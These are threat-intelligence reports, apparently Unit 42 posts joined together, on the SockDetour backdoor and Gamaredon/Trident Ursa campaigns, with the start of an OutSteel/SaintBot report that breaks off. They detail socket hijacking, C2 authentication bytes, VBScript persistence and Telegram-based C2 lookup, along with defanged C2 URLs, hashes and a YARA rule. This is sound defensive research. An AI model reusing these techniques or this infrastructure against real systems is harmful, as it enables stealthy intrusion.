TiltedTemple focused on attacks that occurred through compromised ManageEngine ADSelfService Plus servers and through ManageEngine ServiceDesk Plus. The TiltedTemple campaign has compromised organizations across the technology, energy, healthcare, education, finance and defense industries and conducted reconnaissance activities against these industries and others, including infrastructure associated with five U.S. states. We found SockDetour hosted on infrastructure associated with TiltedTemple, though we have not yet determined whether this is the work of a single threat actor or several. SockDetour Targets US Defense Industry While the TitledTemple campaign was initially identified as starting in August 2021, we have recently discovered evidence that SockDetour was delivered from an external FTP server to a U.S.-based defense contractor s internet-facing Windows server on July 27, 2021. The FTP server also hosted other miscellaneous tools used by the threat actor, such as a memory dumping tool and ASP webshells. After analyzing and tracking these indicators, we were able to discover that at least three other U.S.-based defense contractors were targeted by the same actor. SockDetour Hosted by Compromised Home and SOHO NAS Server The FTP server that hosted SockDetour was a compromised Quality Network Appliance Provider (QNAP) small office and home office (SOHO) network-attached storage (NAS) server. The NAS server is known to have multiple vulnerabilities, including a remote code execution vulnerability, CVE-2021-28799. This vulnerability was leveraged by various ransomware families in massive infection campaigns in April 2021. We believe the threat actor behind SockDetour likely also leveraged these vulnerabilities to compromise the NAS server. In fact, the NAS server was already infected with QLocker from the previous ransomware campaigns. Analysis of SockDetour SockDetour is a custom backdoor compiled in 64-bit PE file format. It is designed to serve as a backup backdoor in case the primary one is detected and removed. It works on Windows operating systems that are running services with listening TCP ports. It hijacks network connections made to the pre-existing network socket and establishes an encrypted C2 channel with the remote threat actor via the socket. Thus, SockDetour requires neither opening a listening port from which to receive a connection nor calling out to an external network to establish a remote C2 channel. This makes the backdoor more difficult to detect from both host and network level. In order for SockDetour to hijack an existing process s socket, it needs to be injected into the process s memory. For this reason, the threat actor converted SockDetour into a shellcode using an open source shellcode generator called Donut framework, then used the PowerSploit memory injector to inject the shellcode into target processes. The samples we found contained hardcoded target processes IDs, which means the threat actor manually chose injection target processes from compromised servers. After SockDetour is injected into the target process, the backdoor leverages the Microsoft Detours library package, which is designed for the monitoring and instrumentation of API calls on Windows to hijack a network socket. Using the DetourAttach() function, it attaches a hook to the Winsock accept() function. With the hook in place, when new connections are made to the service port and the Winsock accept() API function is invoked, the call to the accept() function is re-routed to the malicious detour function defined in SockDetour. Other non-C2 traffic is returned to the original service process to ensure the targeted service operates normally without interference. With such implementation, SockDetour is able to operate filelessly and socketlessly in compromised Windows servers, and serves as a backup backdoor in case the primary backdoor is detected and removed by defenders. Figure 1. SockDetour Workflow Client Authentication and C2 Communication As SockDetour hijacks all the connections made to the legitimate service port, it first needs to verify the C2 traffic from incoming traffic that is mixed with legitimate service traffic, then authenticate to make sure the C2 connection is made from the right client. SockDetour achieves the verification and authentication of the C2 connection with the following steps. 1. First, expect to receive 137 bytes of data from a client for authentication. The authentication data is as shown in the structure in Table 1. 17 03 03 AA BB CC DD EE FF 128-byte data block Fixed header value to disguise TLS traffic Payload data size Four-byte variable used for client authentication Data signature for client authentication data block Table 1. SockDetour client authentication data structure. 2. Read the first nine bytes of data. This data is received using the recv() function with the MSG_PEEK option so that it will not interfere with the legitimate service s traffic by removing data from the socket queue. 3. Verify that the data starts with 17 03 03, which is commonly seen as a record header for TLS transactions when encrypted data is being transferred. However, this is abnormal for normal TLS a TLS-encrypted transaction would not normally show up without proper TLS handshakes. Figure 2. SockDetour receives data with the MSG_PEEK option and verifies the data. 4. Check that the size of payload data AA BB is less than or equal to 251. 5. Check that the four bytes of payload CC DD EE FF satisfy the conditions below: 1. The result is 88 a0 90 82 after bitwise AND with 88 a0 90 82 2. The result is fd f5 fb ef after bitwise OR with fd f5 fb ef 6. Read the whole 137 bytes of data from the same data queue with the MSG_PEEK option for further authentication. 7. Build a 24-byte data block as shown in Table 2. 08 1c c1 78 d4 13 3a d7 0f ab CC DD EE FF b3 a2 b8 ae 63 bb 03 e8 ff 3b 10 bytes hardcoded in SockDetour Four bytes received from the client for authentication 10 bytes hardcoded in SockDetour Table 2. 24-byte data block to be verified for client authentication. 8. This 24-byte data block is hashed and verified using an embedded public key against the 128-byte data signature in Table 1, which the threat actor would have created by signing the hash of the same 24-byte data block using the corresponding private key. This completes the client authentication step. After successful authentication, SockDetour takes over the TCP session using the recv() function without the MSG_PEEK option as this session is now verified to be for the backdoor. Next, SockDetour creates a 160-bit session key using a hardcoded initial vector value bvyiafszmkjsmqgl, then sends it to the remote client using the following data structure. 17 03 03 AA BB CC DD EE FF session_key random_padding Fixed header value to disguise TLS traffic Payload data size Session key length 160-bit session key Random padding Table 3. SockDetour sending session key to client. In common encryption protocols such as TLS, the session key is encrypted with a public key before transferring. However, in this case, the malware author has seemingly forgotten the step and transfers the key in plain text. Now with the session key shared between SockDetour and the remote client, the C2 connection is made encrypted over the hijacked socket. Plugin Loading Feature As a backup backdoor, SockDetour serves only one feature of loading a plugin DLL. After the session key sharing, SockDetour receives four bytes of data from the client, which indicates the length of data SockDetour will receive for the final payload delivery stage. The size is expected to be smaller or equal to five MB. The final payload data received is encrypted using the shared session key. After decryption, the received data is expected to be in JSON format with two objects app and args. app contains a base 64-encoded DLL, and args contains an argument to be passed to the DLL. SockDetour loads this plugin DLL in newly allocated memory space, then calls an export function with the name ThreadProc with a function argument in the following JSON structure. "sock": hijacked_socket, "key": session_key, "args": arguments_received_from_client While plugin DLL samples were not discovered, the above function argument suggests that the plugin also likely communicates via the hijacked socket and encrypts the transaction using the session key. Thus, we surmise it operates as stealthily as SockDetour does. Conclusion SockDetour is a backdoor that is designed to remain stealthily on compromised Windows servers so that it can serve as a backup backdoor in case the primary one fails. It is filelessly loaded in legitimate service processes and uses legitimate processes network sockets to establish its own encrypted C2 channel. While it can be easily altered, the compilation timestamp of the SockDetour sample we analyzed suggests that it has likely been in the wild since at least July 2019 without any update to the PE file. Plus, we did not find any additional SockDetour samples on public repositories. This suggests that the backdoor successfully stayed under the radar for a long time. The plugin DLL remains unknown, but it is also expected to operate very stealthily by being delivered via the SockDetour s encrypted channel, being loaded filelessly in memory and communicating via hijacked sockets. As an additional note, the type of NAS server that we found hosting SockDetour is typically used by small businesses. This example serves as a critical reminder to patch this type of server frequently when fixes are released. Protections and Mitigations Cortex XDR protects endpoints and accurately identifies the memory injector as malicious. Additionally, Cortex XDR has several detections for lateral movement and credential theft tactics, techniques and procedures (TTPs) employed by this actor set. WildFire cloud-based threat analysis service accurately identifies the injector used in this campaign as malicious. AutoFocus customers can track SockDetour activity via the SockDetour tag. We advise server administrators to keep Windows servers up to date. The YARA rule attached at the end of this blog can be used to detect the presence of SockDetour in memory. Organizations should conduct an incident response investigation if they think they are compromised by SockDetour. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730 or Japan: +81.50.1790.0200. Indicators of Compromise SockDetour PE 0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df PowerSploit Memory Injectors Delivering SockDetour 80ed7984a42570d94cd1b6dcd89f95e3175a5c4247ac245c817928dd07fc9540 bee2fe0647d0ec9f2f0aa5f784b122aaeba0cddb39b08e3ea19dd4cdb90e53f9 a5b9ac1d0350341764f877f5c4249151981200df0769a38386f6b7c8ca6f9c7a 607a2ce7dc2252e9e582e757bbfa2f18e3f3864cb4267cd07129f4b9a241300b 11b2b719d6bffae3ab1e0f8191d70aa1bade7f599aeadb7358f722458a21b530 cd28c7a63f91a20ec4045cf40ff0f93b336565bd504c9534be857e971b4e80ee ebe926f37e7188a6f0cc85744376cdc672e495607f85ba3cbee6980049951889 3ea2bf2a6b039071b890f03b5987d9135fe4c036fb77f477f1820c34b341644e 7e9cf2a2dd3edac92175a3eb1355c0f5f05f47b7798e206b470637c5303ac79f bb48438e2ed47ab692d1754305df664cda6c518754ef9a58fb5fa8545f5bfb9b Public Key Embedded in SocketDetour -----BEGIN PUBLIC KEY----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD+aT ----END PUBLIC KEY----- YARA Rule for Detecting SockDetour in Memory rule apt_win_sockdetour meta: author = "Unit 42 - PaloAltoNetworks" date = "2022-01-23" description = "Detects SockDetour in memory or in PE format" hash01 = "0b2b9a2ac4bff81847b332af18a8e0705075166a137ab248e4d9b5cbd8b960df" strings: $public_key = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWD9BUhQQZkagIIHsCdn/wtRNXcYoEi3Z4PhZkH3mar20EONVyXWP/YUxyUmxD $json_name_sequence = {61 70 70 00 61 72 67 73 00 00 00 00 73 6F 63 6B 00 00 00 00 6B 65 79 00 61 72 67 73 00 00} $verification_bytes = {88 [4] A0 [4] 90 [4] 82 [4] FD [4] F5 [4] FB [4] EF} $data_block = {08 [4] 1C [4] C1 [4] 78 [4] D4 [4] 13 [4] 3A [4] D7 [4] 0F [4] AB [4] B3 [4] A2 [4] B8 [4] AE [4] 63 [4] BB [4] 03 [4] E8 [4] FF [4] 3 $initial_vector = {62 [4] 76 [4] 79 [4] 69 [4] 61 [4] 66 [4] 73 [4] 7A [4] 6D [4] 6B [4] 6A [4] 73 [4] 6D [4] 71 [4] 67 [4] 6C} condition: any of them Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Russia s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine unit42.paloaltonetworks.com/trident-ursa December 20, 2022 By Unit 42 December 20, 2022 at 3:00 AM Category: Government, Malware Tags: APTs, Cortex XDR, DNS security, Gamaredon, next-generation firewall, Phishing, primitive bear, Russia, Shuckworm, threat prevention, Trident Ursa, UAC-0010, Ukraine, URL filtering, WildFire Executive Summary Since our last blog in early February covering the advanced persistent threat (APT) group Trident Ursa (aka Gamaredon, UAC-0010, Primitive Bear, Shuckworm), Ukraine and its cyber domain has faced ever-increasing threats from Russia. Trident Ursa is a group attributed by the Security Service of Ukraine to Russia s Federal Security Service. As the conflict has continued on the ground and in cyberspace, Trident Ursa has been operating as a dedicated access creator and intelligence gatherer. Trident Ursa remains one of the most pervasive, intrusive, continuously active and focused APTs targeting Ukraine. Given the ongoing geopolitical situation and the specific target focus of this APT group, Unit 42 researchers continue to actively monitor for indicators of their operations. In doing so, we have mapped out over 500 new domains, 200 samples and other Indicators of Compromise (IoCs) used within the past 10 months that support Trident Ursa s different phishing and malware purposes. We are providing this update along with known IoCs to highlight and share our current overall understanding of Trident Ursa s operations. While monitoring these domains as well as open source intelligence, we have identified multiple items of note: An unsuccessful attempt to compromise a large petroleum refining company within a NATO member nation on Aug. 30. An individual who appears to be involved with Trident Ursa threatened to harm a Ukraine-based cybersecurity researcher immediately following the initial invasion. Multiple shifts in their tactics, techniques and procedures (TTPs). Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR, WildFire, Advanced URL Filtering, Advanced Threat Prevention and DNS Security subscription services for the Next-Generation Firewall. Related Unit 42 Topics Russia, Ukraine, Gamaredon Trident Ursa APT Group akas Gamaredon, UAC-0010, Primitive Bear, Shuckworm Table of Contents 1/13 Targeting Beyond Ukraine Beyond Just Hacking: Open Threats to Cybersecurity Community DNS Shenanigans Bypassing DNS Through Legitimate Web Services Bypassing DNS Through a Messaging Service Hiding True IP Assignment Through Separate IPs for Root Domain and Subdomains Various Malware Types Used Phishing Using HTML Files Phishing Using Word Documents Recently Seen Droppers 7ZSfxMod_x86.exe Myfile.exe Conclusion Protections and Mitigations Indicators of Compromise Additional Resources Targeting Beyond Ukraine Traditionally, Trident Ursa has primarily targeted Ukrainian entities with Ukrainian language lures. While this is still the most common scenario for this group, we saw a few instances of them using English language lures. We assess that these samples indicate that Trident Ursa is attempting to boost their intelligence collection and network access against Ukrainian and NATO allies. In line with these efforts to target allied governments, during a review of their IoCs we identified an unsuccessful attempt to compromise a large petroleum refining company within a NATO member nation on Aug. 30. SHA256 Filename b1bc659006938eb5912832eb8412c609d2d875c001ab411d1b69d343515291b7 MilitaryassistanceofUkraine.htm 0b63f6e7621421de9968d46de243ef769a343b61597816615222387c45df80ae Necessary_military_assistance.rar 303abc6d8ab41cb00e3e7a2165ecc1e7fb4377ba46a9f4213a05f764567182e5 List of necessary things for the provision of military humanitarian assistance to Ukraine.lnk (Note: File bundled in above .rar) Table 1. English language samples used by Trident Ursa. Beyond Just Hacking: Open Threats to Cybersecurity Community One of our most surprising observations was when an individual named Anton (in Cyrillic, ) who appeared to be tied to Trident Ursa threatened a small group of cybersecurity researchers on Twitter, on the same day Russia invaded Ukraine (Feb. 24, 2022). It appears that Anton chose these researchers based on their tweets highlighting Trident Ursa s IoCs in the days prior to the invasion. The first tweets (shown in Figure 1) came from Anton (@Anton15001398) as the invasion was underway, to Ukraine-based threat researcher Mikhail Kasimov (@500mk500). In several tweets, he said, run, i m coming for you. Likely figuring his first tweets to Kasimov were too unnoticeable, his last tweet included the #Gamaredon hashtag so it would be more publicly discoverable by other researchers. 2/13 Figure 1. Threatening Mikhail Kasimov. Later that same day, Anton used a different account (@YumHSh2UdIkz64w) to send Shadow Chaser Group (@ShadowChasing1) and TI Research (@tiresearch1) the ominous message let's be friends. We do not want to fight, but we do it well! as shown in Figure 2. Figure 2. Warning away Shadow Chaser Group and TI Research. Two days later, on Feb. 26, Anton sent his last and most threatening tweet yet (Figure 3). In it, he provides Mikhail Kasimov s full name, date of birth and address along with the message, We are already in the city, there is nowhere to run. You had a chance. Figure 3. Doxing and threatening Mikhail Kasimov (full name, date of birth, and address redacted from the original tweet). 3/13 We imagine these direct, threatening communications from this purported Trident Ursa associate were unsettling to the recipients (especially Mikhail Kasimov, a researcher operating from within the war zone). To their credit, the targeted researchers were undaunted, and tweeted additional Trident Ursa IoCs over the weeks following these threats. Kasimov, along with a large number of other researchers from around the world, continues to routinely publish new IoCs for this APT. DNS Shenanigans Trident Ursa has used fast flux DNS as a way to increase the resilience of their operations, and to make analysis of their infrastructure more difficult for cybersecurity analysts. Infrastructure using fast flux DNS rotates through many IPs daily, using each one for a short time to make IP-based block listing, takedown efforts and forensic analysis difficult. The use of this technique is the primary reason Unit 42 researchers focus on Trident Ursa s domains instead of their IPs. Since June 2022, we ve seen Trident Ursa use several other techniques in addition to fast flux to enhance their operational efficacy. A number of legitimate tools and services have been used by this threat actor in their operations. Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not necessarily imply a flaw or malicious quality to the legitimate product being abused. Bypassing DNS Through Legitimate Web Services The first example of additional techniques we ve observed uses legitimate services to query IP assignments for malicious domains. By using these services, Trident Ursa is effectively bypassing DNS and DNS logging for the malicious domains. For example, the sample SHA256 499b56f3809508fc3f06f0d342a330bcced94c040e84843784998f1112c78422 calls the legitimate service ipapi[.]com to get the IP associated with josephine71.alabarda[.]ru through the following URL: hxxp://ipapi[.]com/csv/josephine71.alabarda.ru. As of the time of writing this post, this process returns the following: The malware uses the IP returned through this communication for follow-on communications with the malicious domain. The only DNS query that would show up in logging would be the original request for ip-api[.]com. Bypassing DNS Through a Messaging Service In the second example, Trident Ursa uses Telegram Messenger content to look up the latest IP used for command and control (C2). In this way, the actor is attempting to supplement DNS for when targets successfully block malicious domains. For example, the sample SHA256 3e72981a45dc4bdaa178a3013710873ad90634729ffdd4b2c79c9a3a00f76f43 calls to hxxps://t[.]me/s/dracarc. As of Nov. 18, this account (@dracarc) returned the Telegram post ==104@248@36@191==. This is converted to the IP 104.248.36[.]191 and it is used for follow-on communications. Hiding True IP Assignment Through Separate IPs for Root Domain and Subdomains On Nov. 15, we noticed that the Trident Ursa domain niobiumo[.]ru was assigned to the U.S. Department of Defense Network Information Center IP 147.159.180[.]73. We quickly identified that Trident Ursa had no operational control over, or use of, that IP. 4/13 Trident Ursa had seeded the fast flux DNS tables for its root domains with junk IPs in an attempt to confuse researchers and protect its true operational infrastructure. Instead of using root domains, they were instead using subdomains for their operations. The true operational IP could only be found by querying DNS upon a subdomain. In this case (shown in Figure 4), querying upon subdomain aaa.niobiumo[.]ru returned the operational IP 64.227.67[.]175. Figure 4. reg[.]ru name servers send a fake address for the domain and a real address for the subdomain (note: DNS lookup for aaa.niobium[.]ru as of Nov. 15). We highlight two observations stemming from our analysis of Trident Ursa s DNS activity: For its operational infrastructure outside of Russia, Trident Ursa has relied primarily on VPS providers located within one of two autonomous systems (AS), AS14061 (DigitalOcean, LLC) and AS20473 (The Constant Company, LLC). Over the past six weeks, of the 122 IP addresses we identified outside of Russia, 63% of them were within AS14061 and 29% were within AS20473. The remainder were located across several AS owned by UAB Cherry Servers. Over 96% of Trident Ursa s domains continue to be registered and under the DNS of the Russian company reg[.]ru, a company that to date has taken no action to block or deny this malicious infrastructure. Various Malware Types Used Over the past few months, Trident Ursa has relied upon a couple of different tactics to initially compromise victim devices using VBScripts with randomly generated variable names and concatenation of strings for obfuscation. Each of these tactics ultimately rely on the delivery of malicious content through spear phishing. The first delivery method we will look at uses .html files, and the second uses Word documents. Phishing Using HTML Files 5/13 Trident Ursa delivers an .html file either as an attachment to their phishing email, or via a link to the .html file (in an attempt to bypass email threat scanning). They use seemingly benign URLs such as hxxp://state-cip[.]org/arhiv, as shown in Figure 5. This site appears to still be active at the time of writing this post. Figure 5. Example of phishing email with link used by Trident Ursa. These .html files contain Base64-encoded .rar archives that in turn contain a malicious .lnk file. Once a user clicks on these .lnk files, they use the Microsoft HTML Application (mshta.exe) to download additional files via URL, as shown in Figure 6. 6/13 Figure 6. Exploitation path for phishing using malicious .lnk files. Taking a deeper look into recent .lnk file SHA256 0d51b90457c85a0baa6304e1ffef2c3ea5dab3b9d27099551eef60389a34a89b, we see that the file is 99.8 KB, which is approximately 98 KB larger than your average .lnk file. Based on our review of these larger than expected .lnk files used by Trident Ursa, the file contains random 10character strings that we assess were appended during the creation process. These are used to confuse analysis, and they have no purpose we can identify for Trident Ursa s operations. Once opened, this .lnk shortcut uses mshta.exe to contact hxxps://admou[.]org/29.11_mou/presented.rtf via a command line argument. Trident Ursa appears to be using various techniques to limit who can access this URL. As other researchers have highlighted, Trident Ursa appears to be using geoblocking in order to limit downloads of this file to specific geographic locations. In this case, we assess the ability to download presented.rtf via this URL is limited to Ukraine. There are some exceptions to this, however. It appears that these threat actors are currently trying to stymie threat researchers by blocking ExpressVPN and NordVPN nodes within Ukraine. In addition, it appears that the actor is potentially conducting additional filtering to further control access to payloads. For example, VirusTotal receives an HTTP status code of 200, indicating success when requesting the above URL, but the overall content length of the reply is 0 bytes. If the filtering conditions are met, the target downloads presented.rtf (SHA256 3990c6e9522e11b30354090cd919258aabef599de26fc4177397b59abaf395c3) upon opening the .lnk. The presented.rtf file is actually an HTA file that contains VBScript code. 7/13 This HTA file decodes two embedded Base64-encoded VBScripts, one of which it will save to %USERPROFILE%\josephine, and the other it runs using Execute. The VBScript decoded and executed by the presented.rtf file is responsible for adding persistence by running the VBScript saved to the josephine file each time the user logs in. The VBScript file saved to josephine is the payload at the end of this installation process. The first VBScript responsible for enabling persistent access to the system does so by creating a Windows scheduled task and a registry key, both of which are common Trident Ursa techniques. This script creates a new scheduled task named Filmora.Complete that runs the josephine script every five minutes, as shown in the scheduled task information displayed in Figure 7. Figure 7. Filmora.Complete scheduled task used to run payload every five minutes. The script also creates an autorun registry key to automatically run the josephine VBScript when the user logs in. Figure 8 shows the autorun registry key named telemetry added to the system to run the VBScript at user login. Figure 8. Autorun registry key used to run VBScript at user login. The josephine script acts as the functional code of the backdoor, which allows the threat actors to run additional VBScript code supplied by a C2 server. The script contains two different methods to determine the IP address of its C2 server, with which it communicates directly. 8/13 The first method involves pinging the domain THEN.ua-cip[.]org using the following Windows Management Instrumentation (WMI) query and checking the ProtocolAddress value to determine the C2 IP address: If the script is unable to reach this domain, it attempts to access the Telegram URL hxxps://t[.]me/s/vzloms to get the C2 IP address. It does this by checking the response using a regular expression of ==([0-9\@]+)==. After obtaining the C2 IP address, this script will communicate with its C2 by issuing a custom crafted HTTP GET request, as seen in Figure 9. The custom fields modified in the HTTP request include a hardcoded user-agent with the computer name, volume serial number and the string ::/.josephine/. appended, as well as a hardcoded string used in the Accept-Language field. Figure 9. HTTP request sent to the C2 server. The josephine script reads the responses to this HTTP request, decodes the Base64 data within the response and executes it as a VBScript. We have not observed an active C2 server providing VBScripts in response to HTTP requests from the josephine script. Phishing Using Word Documents The latest phishing documents we ve seen Trident Ursa use have low detection rates in VirusTotal, likely due to their simplicity. For example, SHA256 c22b20cee83b0802792a683ea7af86230288837bb3857c02e242fb6769fa8b0c shows 0/61 detections as of Dec. 8, 2022. Figure 10. VirusTotal detections for c22b20cee83b0802792a683ea7af86230288837bb3857c02e242fb6769fa8b0c. This file relates to a purported tender to purchase computer equipment for the National Academy of Security Service of Ukraine. The file contains no malicious code in and of itself. When opened, the file attempts to contact and download its remote template from hxxp://relax.salary48.minhizo[.]ru/MAIL/gloomily/along.rcs. This template, along.rcs (SHA256: 007483ad49d90ac2cabe907eb5b3d7eef6a5473217c83b0fe99d087ee7b3f6b3) is an object linking and embedding (OLE) file that contains a macro that runs the malicious code. The macro itself resembles the VBScript code within the HTA file mentioned above, used to load additional scripts. 9/13 The installation VBScript saves the payload VBScript to %USERPROFILE%\Downloads\frontier\decisive and creates a scheduled task named GetSynchronization-USA to automatically run this payload every five minutes. The payload VBScript is the same as the payload above. It attempts to get the C2 IP address via a ping to decisive.hungzo[.]ru and a regular expression on the response from a specific Telegram URL, hxxps://t[.]me/s/templ36. Once it has the IP address, the script creates an HTTP GET request to hxxp:///snhale/index.html=? with custom HTTP fields it populates with the following activities: Appending the computer name and volume serial number in the custom user-agent field, (windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/90.0.4430.85 safari/537.36, along with the static string ;;/.insufficient/. Using frameS5V as the cookie value Setting the Referrer to hxxps://developer.mozilla[.]org/en-US/docs/Web/JavaScript Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Setting Content-Length to 4649 Lastly, the script will Base64 encode the response to this URL and attempt to execute it. Recently Seen Droppers Over the past three months, we ve seen Trident Ursa use two different, yet very similar, droppers. The first dropper, usually named 7ZSfxMod_x86.exe, is the traditional 7-Zip self-extracting (SFX) archive technique the actor has used for years. In these SFX files, the installation configuration script runs an embedded VBScript using Windows Script Host (wscript.exe). The second dropper, usually named myfile.exe according to the executable s RT_VERSION resource, is effectively a loader that drops two files and eventually runs them as VBScript using wscript. 7ZSfxMod_x86.exe A recent sample (SHA256 ac1f3a43447591c67159528d9c4245ce0b93b129845bed9597d1f39f68dbd72f) runs the following installation script when opened: Along with the installation script, the archive contains a VBScript named 19698.mov (SHA256: f488bd406f1293f7881dd0ade8d08f2b1358ddaf7c4af4d27d95f6f047339b3a) referenced within the installation script. Similar to the examples above, the VBScript will try two different methods to obtain its C2 location. 10/13 First, the script runs a WMI query to ping the C2 domain delirium.sohrabt[.]ru. Should this fail, it also includes a second C2 location routine that will reach out to a Telegram page at hxxps://t[.]me/s/vbs_run14. It then uses a regular expression of ==([0-9\@]+)== to find an IP address within the response. The script replaces the "@" characters with a "." within the match of the regex to make an IPV4 address in dot notation, and it writes the resulting IP address to the file %TEMP%\prDK6. Once it has the IP address, the script creates an HTTP GET request to hxxp:///snhale/index.html=? with custom HTTP fields it populates with the following activities: Appending the computer name and volume serial number in the custom user-agent field, mozilla/5.0 (windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/86.0.4240.193 safari/537.36, along with the static string ;;/.snventor/. Using defective as the cookie value Setting the Referrer to hxxps://www.unn.com[.]ua/ru/ Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Setting Content-Length to 2031 The script, like the one mentioned above, reads the response to this beacon, decodes the Base64 data within the response and runs the result as a VBScript using the Execute method. This script also has a backup URL that it will use if it receives an HTTP response status other than 200 or 404, specifically hxxp:///snquiries/index.html=?. Myfile.exe A recent sample (SHA256: a79704074516589c8a6a20abd6a8bcbbcc5a39a5ddbca714fbbf5346d7035f42) works as a loader that drops two files and eventually runs them as VBScripts using the wscript application. First, the executable reads its own file data and skips to the end of the Portable Executable (PE) file to access the overlay data that was appended to the executable. The executable then decrypts the overlay data in reverse by using XOR on each byte with the byte that precedes it. Using this data, the executable writes the cleartext to the following locations: C:\Users\\nutfgqsjs.fjyc C:\Users\\16403.dll The binary concatenates some strings to the contents written to nutfgqsjs.fjyc before writing this file to disk, specifically lines of VBScript code to delete the initial executable and the two VBScript files. The executable concludes by running the nutfgqsjs.fjyc script by calling CreateProcessA using the following command line: The nutfgqsjs.fjyc file is a VBScript file that contains a significant amount of comments that are meant to hide the actual code. This script includes the following functional code that runs the 16403.dll VBScript: 11/13 The file 16403.dll is another VBScript with the functional code that decodes another VBScript and runs it. After several layers of decoding and replacing text, the ultimate VBScript eventually runs. This final VBScript uses the same techniques described in the .lnk and 7ZSfxMod_x86.exe descriptions above. First, the script runs a WMI query to ping the C2 domain morbuso[.]ru. Should this fail, it also includes a second C2 location routine that will reach out to a Telegram page, specifically hxxps://t[.]me/s/dracarc. As of Nov. 18, this account (@dracarc) returned the following, ==104@248@36@191==. Using the regular expression of ==([09\@]+)== this is converted to the IP 104.248.36[.]191 and used for follow-on communications. The script then creates an HTTP GET request to hxxp:///justly/CRONOS.icn?=Chr with custom HTTP fields it populates with the following activities: Appending the computer name and volume serial number in the custom user-agent field, mozilla/5.0 (macintosh; intel mac os x 10_15_3) applewebkit/605.1.15 (khtml, like gecko) version/13.0.5 safari/605.1.15;; along with the static string ;;/.justice/. Using jealous as the cookie value It does not set Referrer in this instance Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Setting Content-Length to 5537 Lastly, the script will Base64 encode the response to this URL and attempt to execute it. Conclusion Trident Ursa remains an agile and adaptive APT that does not use overly sophisticated or complex techniques in its operations. In most cases, they rely on publicly available tools and scripts along with a significant amount of obfuscation as well as routine phishing attempts to successfully execute their operations. This group s operations are regularly caught by researchers and government organizations, and yet they don t seem to care. They simply add additional obfuscation, new domains and new techniques and try again often even reusing previous samples. Continuously operating in this way since at least 2014 with no sign of slowing down throughout this period of conflict, Trident Ursa continues to be successful. For all of these reasons, they remain a significant threat to Ukraine, one which Ukraine and its allies need to actively defend against. Protections and Mitigations The best defense against Trident Ursa is a security posture that favors prevention. We recommend that organizations implement the following measures: 12/13 Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group. Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs. Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure. In addition, if an organization does not have a specific use case for services such as Telegram Messaging and domain lookup tools within their business environment, add these domains to the organization s block list or do not add them to the allow list in the case of Zero Trust networks. Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru). If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC: +65.6983.8730 Japan: +81.50.1790.0200 For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign: Cortex XDR customers receive protection at the endpoints from the malware techniques described in this blog. WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious. Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious. Next-Generation Firewalls with an Advanced Threat Prevention security subscription can block the attacks with Best Practices via Threat Prevention signature 86694. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with the Computer Emergency Response Team of Ukraine as well as our fellow Cyber Threat Alliance members. These organizations use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Indicators of Compromise A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub. Additional Resources Russia s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated June 22) Ukraine in maps: Tracking the war with Russia Russia s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. 13/13 Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot February 26, 2022 By Unit 42 February 25, 2022 at 5:30 PM Category: Malware Tags: Advanced URL Filtering, AutoFocus, Cortex, information disclosure, OutSteel, Phishing, SaintBot, Ukraine, WildFire This post is also available in: (Japanese) Executive Summary On Feb. 1, 2022, Unit 42 observed an attack targeting an energy organization in Ukraine. CERT-UA publicly attributed the attack to a threat group they track as UAC-0056. The targeted attack involved a spear phishing email sent to an employee of the organization, which used a social engineering theme that suggested the individual had committed a crime. The email had a Word document attached that contained a malicious JavaScript file that would download and install a payload known as SaintBot (a downloader) and OutSteel (a document stealer). Unit 42 discovered that this attack was just one example of a larger campaign dating back to at least March 2021, when Unit 42 saw the threat group target a Western government entity in Ukraine, as well as several Ukrainian government organizations. The OutSteel tool is a simple document stealer. It searches for potentially sensitive documents based on their file type and uploads the files to a remote server. The use of OutSteel may suggest that this threat group s primary goals involve data collection on government organizations and companies involved with critical infrastructure. The SaintBot tool is a downloader that allows the threat actors to download and run additional tools on the infected system. SaintBot provides the actors persistent access to the system while granting the ability to further their capabilities. While the OutSteel and SaintBot payloads were common among the attacks, the actors used different social engineering themes and infection chains to compromise systems. The actors used current events and other pertinent themes to trick recipients into opening documents, clicking links, enabling malicious content or running executables directly to compromise their systems. Early attacks in March and April 2021 used cryptocurrency and COVID themes, while we observed the actors using law enforcement-related themes and fake resumes in the May-July 2021 and the February 2022 attacks. The use of law enforcement-related themes in attacks spanning several months suggests that the threat group 